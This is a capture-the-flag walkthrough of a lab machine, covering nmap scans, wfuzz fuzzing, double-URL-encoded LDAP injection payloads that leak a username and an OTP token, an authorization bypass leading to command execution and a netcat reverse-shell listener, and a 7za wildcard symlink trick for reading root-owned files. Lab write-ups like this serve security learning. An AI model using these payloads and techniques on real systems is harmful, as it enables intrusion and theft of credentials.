CTF

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.122 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80 10.10.10.122 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

The website shows a message saying that any host that tries to bruteforce the site will be banned.

There is a login page that shows whether the user provided exists or not.

There is a comment in the source code that says that the token string necessary to create OTP codes is 81 long.

If we try to inject some payload, we'll see that nothing will appear. Maybe it is because there are some characters that are not allowed.

Let's try to bruteforce special characters, and see which ones are not accepted by the server. First, check out how to requests are being made.

Now, using the doble-uri-hex.txt dictionary, we'll be able to see which characters are the ones not accepted by the server.

wfuzz -c -t 1 --hw=233 --hc=404 -w /opt/SecLists/Fuzzing/doble-uri-hex.txt -d 'inputUsername=FUZZ&inputOTP=test' http://10.10.10.122/login.php

These are double URL encoded special characters. Here are the decoded versions.

Exploitation

These characters are commonly used in LDAP servers. We could try to make an LDAP Injection. We can suppose that the LDAP query looks something like this.

We could try to log in with the username *)))%00, this way we make the query true, and comment the rest of the query.

Let's intercept a login request with BurpSuite, and send it to the repeater. Then, send the payload as the username. Make sure to double URL encode the payload to make it work.

inputUsername=%252a%2529%2529%2529%2500&inputOTP=test

As we can see above, we get the message Cannot login. Now we know that when we get that message, the query is true. Now we could enumerate usernames from the LDAP server. We need to add each letter of the alphabet at the beginning of the payload. Once we find the first letter, we'll add the second one next to it. The first letter is an l.

wfuzz -c -t 1 --hw=233 --hc=404 -w /opt/SecLists/Fuzzing/char.txt -d 'inputUsername=FUZZ%252a%2529%2529%2529%2500&inputOTP=test' http://10.10.10.122/login.php

The second letter is a d.

wfuzz -c -t 1 --hw=233 --hc=404 -w /opt/SecLists/Fuzzing/char.txt -d 'inputUsername=lFUZZ%252a%2529%2529%2529%2500&inputOTP=test' http://10.10.10.122/login.php

If we keep doing this over and over again, we'll see that the username is ldapuser, because there are no more letters.

wfuzz -c -t 1 --hw=233 --hc=404 -w /opt/SecLists/Fuzzing/char.txt -d 'inputUsername=ldapuserFUZZ%252a%2529%2529%2529%2500&inputOTP=test' http://10.10.10.122/login.php

We have retrieved the username, but could also get LDAP attributes. I will be using the LDAP_attributes.txt dictionary from PayloadAllTheThings. We could enter a username like )(FUZZ=*)))%00, to enumerate attributes.

There are a bunch of attributes available.

wfuzz -c -t 1 --hw=233 -w LDAP_attributes.txt -d 'inputUsername=ldapuser%2529%2528FUZZ%253d%252a&inputOTP=test' http://10.10.10.122/login.php

The pager attribute looks interesting. It could contain the 81 characters token needed to create OTD codes. We will need to inject the payload ldapuser)(pager=FUZZ*)))%00 as the username.

The first number of the token is a 2.

seq 0 9 > digits

wfuzz -c -t 1 --hw=233 -w digits -d 'inputUsername=ldapuser%2529%2528pager%253dFUZZ%252a&inputOTP=test' http://10.10.10.122/login.php

As the token is 81 characters long, i made a python script that automates this whole process.

Run the script to get the token.

python exploit.py

Now we can create OTP codes using that token. Make sure to have the same time configured as the server.

stoken --token=285449490011357156531651545652335570713167411445727140604172141456711102716717000 --pin=0000

Now we have everything needed to log in.

Once logged in, we'll see one field which allows us to execute commands. But if we try to execute any command we'll see an error saying that we must be a member of the root or adm group to issue commands.

This might happen because there is a compararison when we log in. But we could log in with a payload such as ldapuser)))%00, which will comment anything after the username so this restriction doesn't apply.

inputUsername=ldapuser%2529%2529%2529%2500&inputOTP=45657304

This way we can bypass the restriction and run commands in the server.

Time to get a shell. First, let's set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Now, send a reverse shell using the website to get access to the server as apache.

Privilege Escalation

There is one backup directory in /.

ls -la /

This directory contains a bunch of .zip files, and .log file and a bash script.

ls -la /backup

The honeypot.sh script contains the following code. As we can see, it is doing a backup ZIP file of the content of /var/www/html/uploads.

cat /backup/honeypot.sh

There is a way to read the root flag. As we can see it is using the 7za tool with *. We need write permissions in /var/www/html/uploads.

ls -ld /var/www/html/uploads

We can create files. The idea is to create the @test file, and then create a symbolic link from the root flag to the test file.

touch /var/www/html/uploads/@userflag

ln -s -f /home/ldapuser/user.txt /var/www/html/uploads/userflag

touch /var/www/html/uploads/@rootflag

ln -s -f /root/root.txt /var/www/html/uploads/rootflag

Finally, check out the error.log file, and then all we have to do is reap the harvest and take both the user and root flag.

tail -f /backup/error.log

Last updated

Was this helpful?